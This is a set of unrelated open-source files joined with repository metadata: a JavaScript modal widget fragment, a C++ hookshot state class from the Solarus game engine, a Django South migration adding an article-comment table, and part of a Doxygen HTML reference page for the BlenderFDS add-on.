this.$element.on('modal:open', function() { _this.open.apply(_this, []); });
this.$element.on('modal:close', function() { _this.close.apply(_this, []); });
this.$element.on('modal:clear', function() { _this.clear.apply(_this, []); });
this._ready();
} ;
Modal.prototype._ready = function _ready() {
this.$element
.addClass(this.cssReadyElement)
.addClass('JS-Modal-ready');
};
Modal.prototype._setContent = function _setContent(content) {
this.$container.html(content);
};
Modal.prototype._open = function _open() {
if (!this.$element.hasClass('JS-Modal-active')) {
this.$element
.addClass(this.cssActiveElement)
.addClass('JS-Modal-active')
}
};
Modal.prototype._close = function _close() {
if (this.$element.hasClass('JS-Modal-active')) {
this.$element
.removeClass(this.cssActiveElement)
.removeClass('JS-Modal-active');
}
};
Modal.prototype._clear = function _clear() {
};
/* API. Methods */
Modal.prototype.setContent = function setContent(content) {
if (!arguments.length) {
return false;
}
this._setContent(content);
};
Modal.prototype.open = function open() {
this._open();
};
Modal.prototype.close = function close() {
this._close();
};
Modal.prototype.clear = function clear() {
this._clear();
};
namespace.Modal = Modal;
}(this);
| subuk/bakapy | front/scripts/modal.js | JavaScript | gpl-3.0 | 2,698 |
/*
* Copyright (C) 2009 Christopho, Solarus - http://www.solarus-engine.org
*
* Solarus is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Solarus is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "hero/HookshotState.h"
#include "hero/FreeState.h"
#include "hero/HeroSprites.h"
#include "entities/MapEntities.h"
#include "entities/Hookshot.h"
/**
* @brief Constructor.
* @param hero the hero controlled by this state
*/
Hero::HookshotState::HookshotState(Hero &hero):
State(hero),
hookshot(NULL) {
}
/**
* @brief Destructor.
*/
Hero::HookshotState::~HookshotState() {
}
/**
* @brief Starts this state.
* @param previous_state the previous state
*/
void Hero::HookshotState::start(State *previous_state) {
State::start(previous_state);
get_sprites().set_animation_hookshot();
hookshot = new Hookshot(hero);
get_entities().add_entity(hookshot);
}
/**
* @brief Ends this state.
* @param next_state the next state (for information)
*/
void Hero::HookshotState::stop(State *next_state) {
State::stop(next_state);
if (!hookshot->is_being_removed()) {
// the hookshot state was stopped by something other than the hookshot (e.g. an enemy)
hookshot->remove_from_map();
hero.clear_movement();
}
}
/**
* @brief Returns whether the hero is touching the ground in the current state.
* @return true if the hero is touching the ground in the current state
*/
bool Hero::HookshotState::is_touching_ground() {
return false;
}
/**
* @brief Returns whether the hero ignores the effect of deep water in this state.
* @return true if the hero ignores the effect of deep water in the current state
*/
bool Hero::HookshotState::can_avoid_deep_water() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of holes in this state.
* @return true if the hero ignores the effect of holes in the current state
*/
bool Hero::HookshotState::can_avoid_hole() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of lava in this state.
* @return true if the hero ignores the effect of lava in the current state
*/
bool Hero::HookshotState::can_avoid_lava() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of prickles in this state.
* @return true if the hero ignores the effect of prickles in the current state
*/
bool Hero::HookshotState::can_avoid_prickle() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of teletransporters in this state.
* @return true if the hero ignores the effect of teletransporters in this state
*/
bool Hero::HookshotState::can_avoid_teletransporter() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of conveyor belts in this state.
* @return true if the hero ignores the effect of conveyor belts in this state
*/
bool Hero::HookshotState::can_avoid_conveyor_belt() {
return true;
}
/**
* @brief Returns whether some stairs are considered as obstacle in this state.
* @param stairs some stairs
* @return true if the stairs are obstacle in this state
*/
bool Hero::HookshotState::is_stairs_obstacle(Stairs& stairs) {
// allow to fly over stairs covered by water
return hero.get_ground() != GROUND_DEEP_WATER;
}
/**
* @brief Returns whether a sensor is considered as an obstacle in this state.
* @param sensor a sensor
* @return true if the sensor is an obstacle in this state
*/
bool Hero::HookshotState::is_sensor_obstacle(Sensor& sensor) {
return true;
}
/**
* @brief Returns whether a jump sensor is considered as an obstacle in this state.
* @param jump_sensor a jump sensor
* @return true if the sensor is an obstacle in this state
*/
bool Hero::HookshotState::is_jump_sensor_obstacle(JumpSensor& jump_sensor) {
return false;
}
/**
* @brief Returns whether the hero ignores the effect of switches in this state.
* @return true if the hero ignores the effect of switches in this state
*/
bool Hero::HookshotState::can_avoid_switch() {
return true;
}
/**
* @brief Returns whether the hero can be hurt in this state.
* @return true if the hero can be hurt in this state
*/
bool Hero::HookshotState::can_be_hurt() {
return true;
}
/**
* @brief Notifies this state that the hero has just tried to change his position.
* @param success true if the position has actually just changed
*/
void Hero::HookshotState::notify_movement_tried(bool success) {
if (!success) {
// an unexpected obstacle was reached (e.g. a moving NPC)
hero.set_state(new FreeState(hero));
}
}
| ziz/solarus | src/hero/HookshotState.cpp | C++ | gpl-3.0 | 5,054 |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'ArticleComment'
db.create_table('cms_articlecomment', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('article', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['cms.Article'])),
('created_at', self.gf('django.db.models.fields.DateField')(auto_now_add=True, blank=True)),
('author', self.gf('django.db.models.fields.CharField')(max_length=60)),
('comment', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal('cms', ['ArticleComment'])
def backwards(self, orm):
# Deleting model 'ArticleComment'
db.delete_table('cms_articlecomment')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'cms.article': {
'Meta': {'ordering': "['title']", 'object_name': 'Article'},
'allow_comments': ('django.db.models.fields.CharField', [], {'default': "'N'", 'max_length': '1'}),
'author': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}),
'content': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'conversions': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_at': ('django.db.models.fields.DateField', [], {'default': 'datetime.datetime.now'}),
'header': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'keywords': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'sections': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['cms.Section']", 'null': 'True', 'through': "orm['cms.SectionItem']", 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '250', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '250'}),
'updated_at': ('django.db.models.fields.DateField', [], {'auto_now': 'True', 'blank': 'True'}),
'views': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'cms.articlearchive': {
'Meta': {'ordering': "('updated_at',)", 'object_name': 'ArticleArchive'},
'article': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Article']"}),
'content': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'header': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"})
},
'cms.articlecomment': {
'Meta': {'ordering': "('created_at',)", 'object_name': 'ArticleComment'},
'article': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Article']"}),
'author': ('django.db.models.fields.CharField', [], {'max_length': '60'}),
'comment': ('django.db.models.fields.TextField', [], {}),
'created_at': ('django.db.models.fields.DateField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'cms.filedownload': {
'Meta': {'object_name': 'FileDownload'},
'count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'expires_at': ('django.db.models.fields.DateTimeField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'file': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['filer.File']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'uuid': ('uuidfield.fields.UUIDField', [], {'unique': 'True', 'max_length': '32', 'blank': 'True'})
},
'cms.menu': {
'Meta': {'object_name': 'Menu'},
'article': ('smart_selects.db_fields.ChainedForeignKey', [], {'default': 'None', 'to': "orm['cms.Article']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
u'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'link': ('django.db.models.fields.CharField', [], {'max_length': '250', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'parent': ('mptt.fields.TreeForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['cms.Menu']"}),
u'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'section': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Section']", 'null': 'True', 'blank': 'True'}),
u'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'})
},
'cms.section': {
'Meta': {'ordering': "['title']", 'object_name': 'Section'},
'articles': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['cms.Article']", 'null': 'True', 'through': "orm['cms.SectionItem']", 'blank': 'True'}),
'conversions': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'header': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'keywords': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '250', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '250'}),
'views': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'cms.sectionitem': {
'Meta': {'ordering': "['order']", 'object_name': 'SectionItem'},
'article': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Article']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'order': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1', 'db_index': 'True'}),
'section': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Section']"})
},
'cms.urlmigrate': {
'Meta': {'object_name': 'URLMigrate'},
'dtupdate': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'new_url': ('django.db.models.fields.CharField', [], {'max_length': '250'}),
'obs': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'old_url': ('django.db.models.fields.CharField', [], {'max_length': '250', 'db_index': 'True'}),
'redirect_type': ('django.db.models.fields.CharField', [], {'max_length': '1'}),
'views': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'filer.file': {
'Meta': {'object_name': 'File'},
'_file_size': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'file': ('django.db.models.fields.files.FileField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'folder': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'all_files'", 'null': 'True', 'to': "orm['filer.Folder']"}),
'has_all_mandatory_data': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_public': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}),
'original_filename': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'owned_files'", 'null': 'True', 'to': "orm['auth.User']"}),
'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'polymorphic_filer.file_set'", 'null': 'True', 'to': "orm['contenttypes.ContentType']"}),
'sha1': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '40', 'blank': 'True'}),
'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'})
},
'filer.folder': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('parent', 'name'),)", 'object_name': 'Folder'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
u'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
u'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'filer_owned_folders'", 'null': 'True', 'to': "orm['auth.User']"}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['filer.Folder']"}),
u'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
u'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'})
}
}
complete_apps = ['cms'] | josircg/raizcidadanista | raizcidadanista/cms/migrations/0004_auto__add_articlecomment.py | Python | gpl-3.0 | 14,504 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.17"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>BlenderFDS: blenderfds28x.lang.OP_XB_export Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectlogo"><img alt="Logo" src="blenderfds_128.png"/></td>
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">BlenderFDS
</div>
<div id="projectbrief">BlenderFDS, the open user interface for NIST Fire Dynamics Simulator (FDS), as an addon for Blender 2.8x</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.17 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>blenderfds28x</b></li><li class="navelem"><b>lang</b></li><li class="navelem"><a class="el" href="classblenderfds28x_1_1lang_1_1_o_p___x_b__export.html">OP_XB_export</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-static-attribs">Static Public Attributes</a> |
<a href="classblenderfds28x_1_1lang_1_1_o_p___x_b__export-members.html">List of all members</a> </div>
<div class="headertitle">
<div class="title">blenderfds28x.lang.OP_XB_export Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<p>Blender representation to set if XB shall be exported to FDS.
<a href="classblenderfds28x_1_1lang_1_1_o_p___x_b__export.html#details">More...</a></p>
<div class="dynheader">
Inheritance diagram for blenderfds28x.lang.OP_XB_export:</div>
<div class="dyncontent">
<div class="center"><img src="classblenderfds28x_1_1lang_1_1_o_p___x_b__export__inherit__graph.png" border="0" usemap="#blenderfds28x_8lang_8_o_p___x_b__export_inherit__map" alt="Inheritance graph"/></div>
<map name="blenderfds28x_8lang_8_o_p___x_b__export_inherit__map" id="blenderfds28x_8lang_8_o_p___x_b__export_inherit__map">
<area shape="rect" title="Blender representation to set if XB shall be exported to FDS." alt="" coords="27,80,182,121"/>
<area shape="rect" href="classblenderfds28x_1_1types_1_1_b_f_param.html" title="Blender representation of an FDS parameter." alt="" coords="5,5,204,32"/>
</map>
<center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div>
<div class="dynheader">
Collaboration diagram for blenderfds28x.lang.OP_XB_export:</div>
<div class="dyncontent">
<div class="center"><img src="classblenderfds28x_1_1lang_1_1_o_p___x_b__export__coll__graph.png" border="0" usemap="#blenderfds28x_8lang_8_o_p___x_b__export_coll__map" alt="Collaboration graph"/></div>
<map name="blenderfds28x_8lang_8_o_p___x_b__export_coll__map" id="blenderfds28x_8lang_8_o_p___x_b__export_coll__map">
<area shape="rect" title="Blender representation to set if XB shall be exported to FDS." alt="" coords="27,80,182,121"/>
<area shape="rect" href="classblenderfds28x_1_1types_1_1_b_f_param.html" title="Blender representation of an FDS parameter." alt="" coords="5,5,204,32"/>
</map>
<center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-attribs"></a>
Static Public Attributes</h2></td></tr>
<tr class="memitem:a7c5a5b5a04c95626c3136f5028f96300"><td class="memItemLeft" align="right" valign="top"><a id="a7c5a5b5a04c95626c3136f5028f96300"></a>
string </td><td class="memItemRight" valign="bottom"><b>label</b> = "Export XB"</td></tr>
<tr class="separator:a7c5a5b5a04c95626c3136f5028f96300"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a9a4359c8ee3da35b28e4af14ad6af986"><td class="memItemLeft" align="right" valign="top"><a id="a9a4359c8ee3da35b28e4af14ad6af986"></a>
string </td><td class="memItemRight" valign="bottom"><b>description</b> = "Set if XB shall be <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a737fbb0cc450d97cd6b48a2bf8b4574e">exported</a> to FDS"</td></tr>
<tr class="separator:a9a4359c8ee3da35b28e4af14ad6af986"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae724957c4df4dd607b18301706321075"><td class="memItemLeft" align="right" valign="top"><a id="ae724957c4df4dd607b18301706321075"></a>
 </td><td class="memItemRight" valign="bottom"><b>bpy_type</b> = Object</td></tr>
<tr class="separator:ae724957c4df4dd607b18301706321075"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a85fb9e84aee0cd53388cdb0a4cbfc313"><td class="memItemLeft" align="right" valign="top"><a id="a85fb9e84aee0cd53388cdb0a4cbfc313"></a>
string </td><td class="memItemRight" valign="bottom"><b>bpy_idname</b> = "bf_xb_export"</td></tr>
<tr class="separator:a85fb9e84aee0cd53388cdb0a4cbfc313"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a219fe9dd771c92574698cd735151de59"><td class="memItemLeft" align="right" valign="top"><a id="a219fe9dd771c92574698cd735151de59"></a>
 </td><td class="memItemRight" valign="bottom"><b>bpy_prop</b> = BoolProperty</td></tr>
<tr class="separator:a219fe9dd771c92574698cd735151de59"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a339d55769346cf9a456ea39c6c4e2934"><td class="memItemLeft" align="right" valign="top"><a id="a339d55769346cf9a456ea39c6c4e2934"></a>
bool </td><td class="memItemRight" valign="bottom"><b>bpy_default</b> = True</td></tr>
<tr class="separator:a339d55769346cf9a456ea39c6c4e2934"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a36406fa75da58b52a26efb07e22e897b"><td class="memItemLeft" align="right" valign="top"><a id="a36406fa75da58b52a26efb07e22e897b"></a>
dictionary </td><td class="memItemRight" valign="bottom"><b>bpy_other</b> = {"update": update_bf_xb}</td></tr>
<tr class="separator:a36406fa75da58b52a26efb07e22e897b"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="inherit_header pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td colspan="2" onclick="javascript:toggleInherit('pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param')"><img src="closed.png" alt="-"/> Static Public Attributes inherited from <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html">blenderfds28x.types.BFParam</a></td></tr>
<tr class="memitem:aa1f6f0ab11c8d498eab38870211859b4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="aa1f6f0ab11c8d498eab38870211859b4"></a>
string </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa1f6f0ab11c8d498eab38870211859b4">label</a> = "No Label"</td></tr>
<tr class="memdesc:aa1f6f0ab11c8d498eab38870211859b4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Object label. <br /></td></tr>
<tr class="separator:aa1f6f0ab11c8d498eab38870211859b4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:af15d64c12b1044bd2b9169b608811810 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="af15d64c12b1044bd2b9169b608811810"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#af15d64c12b1044bd2b9169b608811810">description</a> = None</td></tr>
<tr class="memdesc:af15d64c12b1044bd2b9169b608811810 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Object description. <br /></td></tr>
<tr class="separator:af15d64c12b1044bd2b9169b608811810 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae521391e5cb05ad2ab304190b1e576a0 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="ae521391e5cb05ad2ab304190b1e576a0"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae521391e5cb05ad2ab304190b1e576a0">enum_id</a> = None</td></tr>
<tr class="memdesc:ae521391e5cb05ad2ab304190b1e576a0 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Unique integer id for EnumProperty. <br /></td></tr>
<tr class="separator:ae521391e5cb05ad2ab304190b1e576a0 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a66beccc7c29293f44c858461302baa62 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a66beccc7c29293f44c858461302baa62"></a>
dictionary </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a66beccc7c29293f44c858461302baa62">bf_other</a> = {}</td></tr>
<tr class="memdesc:a66beccc7c29293f44c858461302baa62 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Other BlenderFDS parameters, eg: {'draw_type': 'WIRE', ...}. <br /></td></tr>
<tr class="separator:a66beccc7c29293f44c858461302baa62 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a12bc8b4ec835c5a9d721963d7c9b38f7 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a12bc8b4ec835c5a9d721963d7c9b38f7"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a12bc8b4ec835c5a9d721963d7c9b38f7">bf_params</a> = tuple()</td></tr>
<tr class="memdesc:a12bc8b4ec835c5a9d721963d7c9b38f7 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">My sub params, tuple of classes of type <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html" title="Blender representation of an FDS parameter.">BFParam</a>. <br /></td></tr>
<tr class="separator:a12bc8b4ec835c5a9d721963d7c9b38f7 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a6ef98ac87cd62c320178cfa6e4402627 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6ef98ac87cd62c320178cfa6e4402627">fds_label</a> = None</td></tr>
<tr class="memdesc:a6ef98ac87cd62c320178cfa6e4402627 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">FDS label, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6ef98ac87cd62c320178cfa6e4402627">More...</a><br /></td></tr>
